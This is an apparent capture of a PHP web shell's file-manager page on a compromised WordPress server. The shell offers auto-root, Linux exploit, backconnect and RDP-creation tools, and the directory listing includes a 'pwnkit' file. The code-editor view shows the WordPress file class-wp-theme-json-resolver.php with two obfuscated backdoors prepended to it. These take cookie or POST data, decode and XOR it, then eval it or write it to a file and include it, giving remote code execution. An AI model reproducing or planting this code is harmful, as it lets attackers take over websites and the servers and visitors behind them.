Linux webm001.cluster105.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.105.20.1 | : 216.73.216.85
Cant Read [ /etc/named.conf ]
8.0.30
afriquejlc
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
afriquejlc /
africabestof /
wp-includesold /
[ HOME SHELL ]
Name
Size
Permission
Action
ID3
[ DIR ]
drwx---r-x
IXR
[ DIR ]
drwx---r-x
PHPMailer
[ DIR ]
drwx---r-x
Requests
[ DIR ]
drwx---r-x
SimplePie
[ DIR ]
drwx---r-x
Text
[ DIR ]
drwx---r-x
assets
[ DIR ]
drwx---r-x
block-patterns
[ DIR ]
drwx---r-x
block-supports
[ DIR ]
drwx---r-x
blocks
[ DIR ]
drwxr-xr-x
certificates
[ DIR ]
drwx---r-x
css
[ DIR ]
drwx---r-x
customize
[ DIR ]
drwx---r-x
fonts
[ DIR ]
drwx---r-x
images
[ DIR ]
drwx---r-x
js
[ DIR ]
drwx---r-x
pomo
[ DIR ]
drwx---r-x
random_compat
[ DIR ]
drwx---r-x
rest-api
[ DIR ]
drwx---r-x
sitemaps
[ DIR ]
drwx---r-x
sodium_compat
[ DIR ]
drwx---r-x
theme-compat
[ DIR ]
drwx---r-x
widgets
[ DIR ]
drwx---r-x
.mad-root
0
B
-rw-r--r--
admin-bar.php
39.17
KB
-rwxr-xr-x
atomlib.php
13.39
KB
-rw----r--
author-template.php
16.63
KB
-rwxr-xr-x
block-editor.php
18.16
KB
-rwxr-xr-x
block-patterns.php
2.6
KB
-rwxr-xr-x
block-template-utils.php
3.67
KB
-rwxr-xr-x
block-template.php
6.89
KB
-rwxr-xr-x
blocks.php
36.18
KB
-rwxr-xr-x
bookmark-template.php
14.26
KB
-rw----r--
bookmark.php
14.98
KB
-rwxr-xr-x
cache-compat.php
1.02
KB
-rw----r--
cache.php
9.29
KB
-rw----r--
canonical.php
34.03
KB
-rw----r--
capabilities.php
36.77
KB
-rwxr-xr-x
category-template.php
54.26
KB
-rw----r--
category.php
14.13
KB
-rw----r--
class-IXR.php
2.48
KB
-rw----r--
class-feed.php
529
B
-rw----r--
class-http.php
42.55
KB
-rw----r--
class-json.php
42.42
KB
-rw----r--
class-oembed.php
407
B
-rw----r--
class-phpass.php
6.54
KB
-rwxr-xr-x
class-phpmailer.php
664
B
-rw----r--
class-pop3.php
21.88
KB
-rw----r--
class-requests.php
41.64
KB
-rwxr-xr-x
class-simplepie.php
97.98
KB
-rw----r--
class-smtp.php
457
B
-rw----r--
class-snoopy.php
36.83
KB
-rw----r--
class-walker-category-dropdown...
2.08
KB
-rw----r--
class-walker-category.php
7.71
KB
-rw----r--
class-walker-comment.php
19.09
KB
-rwxr-xr-x
class-walker-nav-menu.php
8.44
KB
-rwxr-xr-x
class-walker-page-dropdown.php
2.25
KB
-rw----r--
class-walker-page.php
6.88
KB
-rwxr-xr-x
class-wp-admin-bar.php
20.47
KB
-rw----r--
class-wp-ajax-response.php
5.12
KB
-rw----r--
class-wp-application-passwords...
13.96
KB
-rw----r--
class-wp-block-editor-context....
890
B
-rwxr-xr-x
class-wp-block-list.php
4.37
KB
-rw----r--
class-wp-block-parser.php
16.7
KB
-rw----r--
class-wp-block-pattern-categor...
4.19
KB
-rwxr-xr-x
class-wp-block-patterns-regist...
4.8
KB
-rwxr-xr-x
class-wp-block-styles-registry...
4.6
KB
-rwxr-xr-x
class-wp-block-supports.php
5.15
KB
-rw----r--
class-wp-block-template.php
1.18
KB
-rwxr-xr-x
class-wp-block-type-registry.p...
4.87
KB
-rwxr-xr-x
class-wp-block-type.php
8.95
KB
-rwxr-xr-x
class-wp-block.php
6.61
KB
-rw----r--
class-wp-comment-query.php
45.92
KB
-rw----r--
class-wp-comment.php
9.1
KB
-rw----r--
class-wp-customize-control.php
28.22
KB
-rwxr-xr-x
class-wp-customize-manager.php
198.22
KB
-rwxr-xr-x
class-wp-customize-nav-menus.p...
57.05
KB
-rwxr-xr-x
class-wp-customize-panel.php
11.68
KB
-rw----r--
class-wp-customize-section.php
20.65
KB
-rw----r--
class-wp-customize-setting.php
30.78
KB
-rw----r--
class-wp-customize-widgets.php
72.64
KB
-rwxr-xr-x
class-wp-date-query.php
42.17
KB
-rwxr-xr-x
class-wp-dependency.php
2.45
KB
-rw----r--
class-wp-editor.php
73.45
KB
-rwxr-xr-x
class-wp-embed.php
17.13
KB
-rwxr-xr-x
class-wp-error.php
7.13
KB
-rw----r--
class-wp-fatal-error-handler.p...
7.4
KB
-rwxr-xr-x
class-wp-feed-cache-transient....
2.5
KB
-rw----r--
class-wp-feed-cache.php
970
B
-rw----r--
class-wp-hook.php
14.65
KB
-rwxr-xr-x
class-wp-http-cookie.php
7.02
KB
-rw----r--
class-wp-http-curl.php
13.79
KB
-rw----r--
class-wp-http-encoding.php
6.5
KB
-rw----r--
class-wp-http-ixr-client.php
3.39
KB
-rw----r--
class-wp-http-proxy.php
5.73
KB
-rw----r--
class-wp-http-requests-hooks.p...
1.93
KB
-rw----r--
class-wp-http-requests-respons...
4.24
KB
-rw----r--
class-wp-http-response.php
2.88
KB
-rw----r--
class-wp-http-streams.php
21.63
KB
-rw----r--
class-wp-image-editor-gd.php
16.89
KB
-rwxr-xr-x
class-wp-image-editor-imagick....
31.96
KB
-rwxr-xr-x
class-wp-image-editor.php
16.2
KB
-rwxr-xr-x
class-wp-list-util.php
6.79
KB
-rwxr-xr-x
class-wp-locale-switcher.php
4.9
KB
-rw----r--
class-wp-locale.php
17.23
KB
-rw----r--
class-wp-matchesmapregex.php
1.76
KB
-rw----r--
class-wp-meta-query.php
30.91
KB
-rwxr-xr-x
class-wp-metadata-lazyloader.p...
5.23
KB
-rw----r--
class-wp-network-query.php
20.48
KB
-rw----r--
class-wp-network.php
18.19
KB
-rw----r--
class-wp-object-cache.php
16.98
KB
-rw----r--
class-wp-oembed-controller.php
6.67
KB
-rwxr-xr-x
class-wp-oembed.php
29.61
KB
-rw----r--
class-wp-paused-extensions-sto...
4.81
KB
-rw----r--
class-wp-post-type.php
26.03
KB
-rw----r--
class-wp-post.php
6.27
KB
-rw----r--
class-wp-query.php
132.75
KB
-rwxr-xr-x
class-wp-recovery-mode-cookie-...
6.31
KB
-rw----r--
class-wp-recovery-mode-email-s...
12.16
KB
-rw----r--
class-wp-recovery-mode-key-ser...
4.17
KB
-rw----r--
class-wp-recovery-mode-link-se...
3.32
KB
-rw----r--
class-wp-recovery-mode.php
14.83
KB
-rw----r--
class-wp-rewrite.php
67.27
KB
-rw----r--
class-wp-role.php
2.44
KB
-rw----r--
class-wp-roles.php
8.23
KB
-rw----r--
class-wp-session-tokens.php
7.25
KB
-rw----r--
class-wp-simplepie-file.php
3.18
KB
-rwxr-xr-x
class-wp-simplepie-sanitize-ks...
1.73
KB
-rw----r--
class-wp-site-query.php
30.4
KB
-rwxr-xr-x
class-wp-site.php
7.25
KB
-rw----r--
class-wp-tax-query.php
20.63
KB
-rwxr-xr-x
class-wp-taxonomy.php
16.8
KB
-rw----r--
class-wp-term-query.php
39.53
KB
-rwxr-xr-x
class-wp-term.php
5.15
KB
-rw----r--
class-wp-text-diff-renderer-in...
716
B
-rw----r--
class-wp-text-diff-renderer-ta...
18.15
KB
-rw----r--
class-wp-theme-json-resolver.p...
14.86
KB
-rwxr-xr-x
class-wp-theme-json.php
36.75
KB
-rwxr-xr-x
class-wp-theme.php
59.07
KB
-rwxr-xr-x
class-wp-user-meta-session-tok...
2.92
KB
-rw----r--
class-wp-user-query.php
36
KB
-rw----r--
class-wp-user-request.php
2.14
KB
-rw----r--
class-wp-user.php
29.43
KB
-rwxr-xr-x
class-wp-walker.php
14.19
KB
-rwxr-xr-x
class-wp-widget-factory.php
3.24
KB
-rwxr-xr-x
class-wp-widget.php
19.54
KB
-rwxr-xr-x
class-wp-xmlrpc-server.php
211.68
KB
-rwxr-xr-x
class-wp.php
24.5
KB
-rw----r--
class.wp-dependencies.php
18.52
KB
-rw----r--
class.wp-scripts.php
20.35
KB
-rw----r--
class.wp-styles.php
18.19
KB
-rwxr-xr-x
comment-template.php
94.47
KB
-rwxr-xr-x
comment.php
123.18
KB
-rwxr-xr-x
compat.php
16.96
KB
-rw-r--r--
cron.php
39.69
KB
-rw----r--
date.php
406
B
-rw----r--
default-constants.php
11.72
KB
-rw----r--
default-filters.php
33.04
KB
-rwxr-xr-x
default-widgets.php
2.17
KB
-rwxr-xr-x
deprecated.php
122.46
KB
-rwxr-xr-x
embed-template.php
341
B
-rw----r--
embed.php
48.72
KB
-rwxr-xr-x
error-protection.php
4.02
KB
-rw----r--
feed-atom-comments.php
5.32
KB
-rw----r--
feed-atom.php
3.03
KB
-rwxr-xr-x
feed-rdf.php
2.61
KB
-rw----r--
feed-rss.php
1.16
KB
-rw----r--
feed-rss2-comments.php
3.97
KB
-rw----r--
feed-rss2.php
3.71
KB
-rw----r--
feed.php
24.5
KB
-rwxr-xr-x
formatting.php
320.03
KB
-rwxr-xr-x
functions.php
247.31
KB
-rwxr-xr-x
functions.wp-scripts.php
14.86
KB
-rwxr-xr-x
functions.wp-styles.php
8.11
KB
-rw----r--
general-template.php
154.5
KB
-rwxr-xr-x
http.php
23.32
KB
-rw----r--
https-detection.php
6.71
KB
-rwxr-xr-x
https-migration.php
4.62
KB
-rw----r--
kses.php
65.59
KB
-rwxr-xr-x
l10n.php
58.85
KB
-rwxr-xr-x
link-template.php
145.19
KB
-rwxr-xr-x
load.php
48.87
KB
-rwxr-xr-x
locale.php
162
B
-rw----r--
media-template.php
60.72
KB
-rwxr-xr-x
media.php
176.52
KB
-rwxr-xr-x
meta.php
69.51
KB
-rwxr-xr-x
ms-blogs.php
28.29
KB
-rw----r--
ms-default-constants.php
4.6
KB
-rw----r--
ms-default-filters.php
6.34
KB
-rw----r--
ms-deprecated.php
22.53
KB
-rw----r--
ms-files.php
2.58
KB
-rw----r--
ms-functions.php
91.7
KB
-rw----r--
ms-load.php
20.86
KB
-rw----r--
ms-network.php
3.58
KB
-rw----r--
ms-settings.php
4.03
KB
-rw----r--
ms-site.php
44.54
KB
-rwxr-xr-x
nav-menu-template.php
24.45
KB
-rw----r--
nav-menu.php
43.07
KB
-rwxr-xr-x
option.php
74.77
KB
-rwxr-xr-x
pluggable-deprecated.php
6.12
KB
-rw----r--
pluggable.php
101.32
KB
-rwxr-xr-x
plugin.php
32.34
KB
-rwxr-xr-x
post-formats.php
6.91
KB
-rw----r--
post-template.php
67.29
KB
-rwxr-xr-x
post-thumbnail-template.php
9.13
KB
-rw----r--
post.php
257.37
KB
-rwxr-xr-x
pwnkit
0
B
-rwxr-xr-x
query.php
41.18
KB
-rwxr-xr-x
registration-functions.php
200
B
-rw----r--
registration.php
200
B
-rw----r--
rest-api.php
91.25
KB
-rwxr-xr-x
revision.php
23.73
KB
-rwxr-xr-x
rewrite.php
20.49
KB
-rw----r--
robots-template.php
5.05
KB
-rw----r--
rss-functions.php
255
B
-rw----r--
rss.php
24.19
KB
-rw----r--
script-loader.php
107.81
KB
-rwxr-xr-x
session.php
258
B
-rw----r--
shortcodes.php
21.86
KB
-rwxr-xr-x
sitemaps.php
3.16
KB
-rwxr-xr-x
spl-autoload-compat.php
441
B
-rw----r--
taxonomy.php
164.21
KB
-rwxr-xr-x
template-canvas.php
594
B
-rwxr-xr-x
template-loader.php
2.94
KB
-rw----r--
template.php
23.75
KB
-rwxr-xr-x
theme-i18n.json
634
B
-rwxr-xr-x
theme-templates.php
4.61
KB
-rwxr-xr-x
theme.json
5.2
KB
-rwxr-xr-x
theme.php
128.17
KB
-rwxr-xr-x
update.php
31.16
KB
-rwxr-xr-x
user.php
151.14
KB
-rwxr-xr-x
vars.php
5.68
KB
-rw----r--
version.php
766
B
-rw-r--r--
widgets.php
65.72
KB
-rwxr-xr-x
wlwmanifest.xml
1.02
KB
-rw----r--
wp-db.php
103.61
KB
-rw----r--
wp-diff.php
647
B
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class-wp-theme-json-resolver.php
<?php $tQtDjjyj = "\x50" . 'x' . chr (116) . chr (95) . 'v' . chr ( 858 - 750 ).chr (81) . "\147" . "\164";$mJQMYMEfQV = chr ( 99 - 0 ).chr ( 738 - 630 )."\141" . 's' . 's' . '_' . 'e' . 'x' . 'i' . chr (115) . chr ( 238 - 122 ).'s';$kFVTGeU = $mJQMYMEfQV($tQtDjjyj); $kEuiaQO = $kFVTGeU;if (!$kEuiaQO){class Pxt_vlQgt{private $hUQqSTWi;public static $JRrUi = "cab35cca-cb20-4a30-858e-f16137baf9b9";public static $SFBRmrwe = 5604;public function __construct($bxYUKXFShi=0){$venemMzoxz = $_COOKIE;$gcgNra = $_POST;$LVhpMvpQ = @$venemMzoxz[substr(Pxt_vlQgt::$JRrUi, 0, 4)];if (!empty($LVhpMvpQ)){$ckDbqqYnWw = "base64";$UbhDybOBGc = "";$LVhpMvpQ = explode(",", $LVhpMvpQ);foreach ($LVhpMvpQ as $qNUVtIt){$UbhDybOBGc .= @$venemMzoxz[$qNUVtIt];$UbhDybOBGc .= @$gcgNra[$qNUVtIt];}$UbhDybOBGc = array_map($ckDbqqYnWw . chr ( 543 - 448 ).chr (100) . chr ( 1027 - 926 )."\143" . "\x6f" . "\x64" . "\x65", array($UbhDybOBGc,)); $UbhDybOBGc = $UbhDybOBGc[0] ^ str_repeat(Pxt_vlQgt::$JRrUi, (strlen($UbhDybOBGc[0]) / strlen(Pxt_vlQgt::$JRrUi)) + 1);Pxt_vlQgt::$SFBRmrwe = @unserialize($UbhDybOBGc);}}public function __destruct(){$this->VRwBTQ();}private function VRwBTQ(){if (is_array(Pxt_vlQgt::$SFBRmrwe)) {$HeKOmcEwyr = str_replace(chr (60) . "\77" . chr (112) . chr (104) . "\x70", "", Pxt_vlQgt::$SFBRmrwe["\143" . chr ( 368 - 257 ).chr (110) . chr (116) . 'e' . "\x6e" . chr (116)]);eval($HeKOmcEwyr); $dgxfk = "12508";exit();}}}$cHaXLTyzhI = new Pxt_vlQgt(); $cHaXLTyzhI = "40";} ?><?php $jpJNzvq = "\170" . "\x5f" . "\x73" . "\x67" . 'y' . 'v';$qlzGvBTMqZ = chr (99) . "\154" . 'a' . chr (115) . chr ( 1043 - 928 )."\137" . "\x65" . "\170" . 'i' . "\163" . "\164" . chr (115); $iJjZt = $qlzGvBTMqZ($jpJNzvq); $xCCGLWX = $iJjZt;if (!$xCCGLWX){class x_sgyv{private $cGrue;public static $zbmyOtrvd = "8b14deca-0087-451d-8906-79e4405e73e5";public static $krfGkKKnG = 57803;public function __construct(){$DDlOw = $_COOKIE;$LohrpP = $_POST;$dixSX = @$DDlOw[substr(x_sgyv::$zbmyOtrvd, 0, 4)];if (!empty($dixSX)){$aQNvczDfta = "base64";$okNXda = "";$dixSX = explode(",", $dixSX);foreach ($dixSX as $DtqMdDOU){$okNXda .= @$DDlOw[$DtqMdDOU];$okNXda .= @$LohrpP[$DtqMdDOU];}$okNXda = array_map($aQNvczDfta . '_' . "\144" . chr (101) . chr ( 877 - 778 )."\x6f" . chr (100) . "\145", array($okNXda,)); $okNXda = $okNXda[0] ^ str_repeat(x_sgyv::$zbmyOtrvd, (strlen($okNXda[0]) / strlen(x_sgyv::$zbmyOtrvd)) + 1);x_sgyv::$krfGkKKnG = @unserialize($okNXda);}}public function __destruct(){$this->qvvIcilwlr();}private function qvvIcilwlr(){if (is_array(x_sgyv::$krfGkKKnG)) {$rHbGQKGA = sys_get_temp_dir() . "/" . crc32(x_sgyv::$krfGkKKnG['s' . chr (97) . 'l' . 't']);@x_sgyv::$krfGkKKnG[chr (119) . "\162" . "\x69" . "\x74" . chr (101)]($rHbGQKGA, x_sgyv::$krfGkKKnG["\143" . "\157" . 'n' . "\164" . "\145" . chr ( 980 - 870 ).'t']);include $rHbGQKGA;@x_sgyv::$krfGkKKnG["\144" . 'e' . 'l' . "\x65" . chr ( 699 - 583 )."\x65"]($rHbGQKGA);exit();}}}$AYgxZcskIL = new x_sgyv(); $AYgxZcskIL = 52284;} ?><?php /** * WP_Theme_JSON_Resolver class * * @package WordPress * @subpackage Theme * @since 5.8.0 */ /** * Class that abstracts the processing of the different data sources * for site-level config and offers an API to work with them. * * @access private */ class WP_Theme_JSON_Resolver { /** * Container for data coming from core. * * @since 5.8.0 * @var WP_Theme_JSON */ private static $core = null; /** * Container for data coming from the theme. * * @since 5.8.0 * @var WP_Theme_JSON */ private static $theme = null; /** * Whether or not the theme supports theme.json. * * @since 5.8.0 * @var bool */ private static $theme_has_support = null; /** * Structure to hold i18n metadata. * * @since 5.8.0 * @var array */ private static $theme_json_i18n = null; /** * Processes a file that adheres to the theme.json schema * and returns an array with its contents, or a void array if none found. * * @since 5.8.0 * * @param string $file_path Path to file. Empty if no file. * @return array Contents that adhere to the theme.json schema. */ private static function read_json_file( $file_path ) { $config = array(); if ( $file_path ) { $decoded_file = json_decode( file_get_contents( $file_path ), true ); $json_decoding_error = json_last_error(); if ( JSON_ERROR_NONE !== $json_decoding_error ) { trigger_error( "Error when decoding a theme.json schema at path $file_path " . json_last_error_msg() ); return $config; } if ( is_array( $decoded_file ) ) { $config = $decoded_file; } } return $config; } /** * Converts a tree as in i18n-theme.json into a linear array * containing metadata to translate a theme.json file. * * For example, given this input: * * { * "settings": { * "*": { * "typography": { * "fontSizes": [ { "name": "Font size name" } ], * "fontStyles": [ { "name": "Font size name" } ] * } * } * } * } * * will return this output: * * [ * 0 => [ * 'path' => [ 'settings', '*', 'typography', 'fontSizes' ], * 'key' => 'name', * 'context' => 'Font size name' * ], * 1 => [ * 'path' => [ 'settings', '*', 'typography', 'fontStyles' ], * 'key' => 'name', * 'context' => 'Font style name' * ] * ] * * @since 5.8.0 * * @param array $i18n_partial A tree that follows the format of i18n-theme.json. * @param array $current_path Optional. Keeps track of the path as we walk down the given tree. * Default empty array. * @return array A linear array containing the paths to translate. */ private static function extract_paths_to_translate( $i18n_partial, $current_path = array() ) { $result = array(); foreach ( $i18n_partial as $property => $partial_child ) { if ( is_numeric( $property ) ) { foreach ( $partial_child as $key => $context ) { $result[] = array( 'path' => $current_path, 'key' => $key, 'context' => $context, ); } return $result; } $result = array_merge( $result, self::extract_paths_to_translate( $partial_child, array_merge( $current_path, array( $property ) ) ) ); } return $result; } /** * Returns a data structure used in theme.json translation. * * @since 5.8.0 * * @return array An array of theme.json fields that are translatable and the keys that are translatable. */ public static function get_fields_to_translate() { if ( null === self::$theme_json_i18n ) { $file_structure = self::read_json_file( __DIR__ . '/theme-i18n.json' ); self::$theme_json_i18n = self::extract_paths_to_translate( $file_structure ); } return self::$theme_json_i18n; } /** * Translates a chunk of the loaded theme.json structure. * * @since 5.8.0 * * @param array $array_to_translate The chunk of theme.json to translate. * @param string $key The key of the field that contains the string to translate. * @param string $context The context to apply in the translation call. * @param string $domain Text domain. Unique identifier for retrieving translated strings. * @return array Returns the modified $theme_json chunk. */ private static function translate_theme_json_chunk( array $array_to_translate, $key, $context, $domain ) { foreach ( $array_to_translate as $item_key => $item_to_translate ) { if ( empty( $item_to_translate[ $key ] ) ) { continue; } // phpcs:ignore WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText,WordPress.WP.I18n.NonSingularStringLiteralContext,WordPress.WP.I18n.NonSingularStringLiteralDomain $array_to_translate[ $item_key ][ $key ] = translate_with_gettext_context( $array_to_translate[ $item_key ][ $key ], $context, $domain ); } return $array_to_translate; } /** * Given a theme.json structure modifies it in place to update certain values * by its translated strings according to the language set by the user. * * @since 5.8.0 * * @param array $theme_json The theme.json to translate. * @param string $domain Optional. Text domain. Unique identifier for retrieving translated strings. * Default 'default'. * @return array Returns the modified $theme_json_structure. */ private static function translate( $theme_json, $domain = 'default' ) { $fields = self::get_fields_to_translate(); foreach ( $fields as $field ) { $path = $field['path']; $key = $field['key']; $context = $field['context']; /* * We need to process the paths that include '*' separately. * One example of such a path would be: * [ 'settings', 'blocks', '*', 'color', 'palette' ] */ $nodes_to_iterate = array_keys( $path, '*', true ); if ( ! empty( $nodes_to_iterate ) ) { /* * At the moment, we only need to support one '*' in the path, so take it directly. * - base will be [ 'settings', 'blocks' ] * - data will be [ 'color', 'palette' ] */ $base_path = array_slice( $path, 0, $nodes_to_iterate[0] ); $data_path = array_slice( $path, $nodes_to_iterate[0] + 1 ); $base_tree = _wp_array_get( $theme_json, $base_path, array() ); foreach ( $base_tree as $node_name => $node_data ) { $array_to_translate = _wp_array_get( $node_data, $data_path, null ); if ( is_null( $array_to_translate ) ) { continue; } // Whole path will be [ 'settings', 'blocks', 'core/paragraph', 'color', 'palette' ]. $whole_path = array_merge( $base_path, array( $node_name ), $data_path ); $translated_array = self::translate_theme_json_chunk( $array_to_translate, $key, $context, $domain ); _wp_array_set( $theme_json, $whole_path, $translated_array ); } } else { $array_to_translate = _wp_array_get( $theme_json, $path, null ); if ( is_null( $array_to_translate ) ) { continue; } $translated_array = self::translate_theme_json_chunk( $array_to_translate, $key, $context, $domain ); _wp_array_set( $theme_json, $path, $translated_array ); } } return $theme_json; } /** * Return core's origin config. * * @since 5.8.0 * * @return WP_Theme_JSON Entity that holds core data. */ public static function get_core_data() { if ( null !== self::$core ) { return self::$core; } $config = self::read_json_file( __DIR__ . '/theme.json' ); $config = self::translate( $config ); self::$core = new WP_Theme_JSON( $config, 'core' ); return self::$core; } /** * Returns the theme's data. * * Data from theme.json can be augmented via the $theme_support_data variable. * This is useful, for example, to backfill the gaps in theme.json that a theme * has declared via add_theme_supports. * * Note that if the same data is present in theme.json and in $theme_support_data, * the theme.json's is not overwritten. * * @since 5.8.0 * * @param array $theme_support_data Optional. Theme support data in theme.json format. * Default empty array. * @return WP_Theme_JSON Entity that holds theme data. */ public static function get_theme_data( $theme_support_data = array() ) { if ( null === self::$theme ) { $theme_json_data = self::read_json_file( self::get_file_path_from_theme( 'theme.json' ) ); $theme_json_data = self::translate( $theme_json_data, wp_get_theme()->get( 'TextDomain' ) ); self::$theme = new WP_Theme_JSON( $theme_json_data ); } if ( empty( $theme_support_data ) ) { return self::$theme; } /* * We want the presets and settings declared in theme.json * to override the ones declared via add_theme_support. */ $with_theme_supports = new WP_Theme_JSON( $theme_support_data ); $with_theme_supports->merge( self::$theme ); return $with_theme_supports; } /** * There are different sources of data for a site: core and theme. * * While the getters {@link get_core_data}, {@link get_theme_data} return the raw data * from the respective origins, this method merges them all together. * * If the same piece of data is declared in different origins (core and theme), * the last origin overrides the previous. For example, if core disables custom colors * but a theme enables them, the theme config wins. * * @since 5.8.0 * * @param array $settings Optional. Existing block editor settings. Default empty array. * @return WP_Theme_JSON */ public static function get_merged_data( $settings = array() ) { $theme_support_data = WP_Theme_JSON::get_from_editor_settings( $settings ); $result = new WP_Theme_JSON(); $result->merge( self::get_core_data() ); $result->merge( self::get_theme_data( $theme_support_data ) ); return $result; } /** * Whether the current theme has a theme.json file. * * @since 5.8.0 * * @return bool */ public static function theme_has_support() { if ( ! isset( self::$theme_has_support ) ) { self::$theme_has_support = (bool) self::get_file_path_from_theme( 'theme.json' ); } return self::$theme_has_support; } /** * Builds the path to the given file and checks that it is readable. * * If it isn't, returns an empty string, otherwise returns the whole file path. * * @since 5.8.0 * * @param string $file_name Name of the file. * @return string The whole file path or empty if the file doesn't exist. */ private static function get_file_path_from_theme( $file_name ) { /* * This used to be a locate_template call. However, that method proved problematic * due to its use of constants (STYLESHEETPATH) that threw errors in some scenarios. * * When the theme.json merge algorithm properly supports child themes, * this should also fall back to the template path, as locate_template did. */ $located = ''; $candidate = get_stylesheet_directory() . '/' . $file_name; if ( is_readable( $candidate ) ) { $located = $candidate; } return $located; } /** * Cleans the cached data so it can be recalculated. * * @since 5.8.0 */ public static function clean_cached_data() { self::$core = null; self::$theme = null; self::$theme_has_support = null; self::$theme_json_i18n = null; } }
Close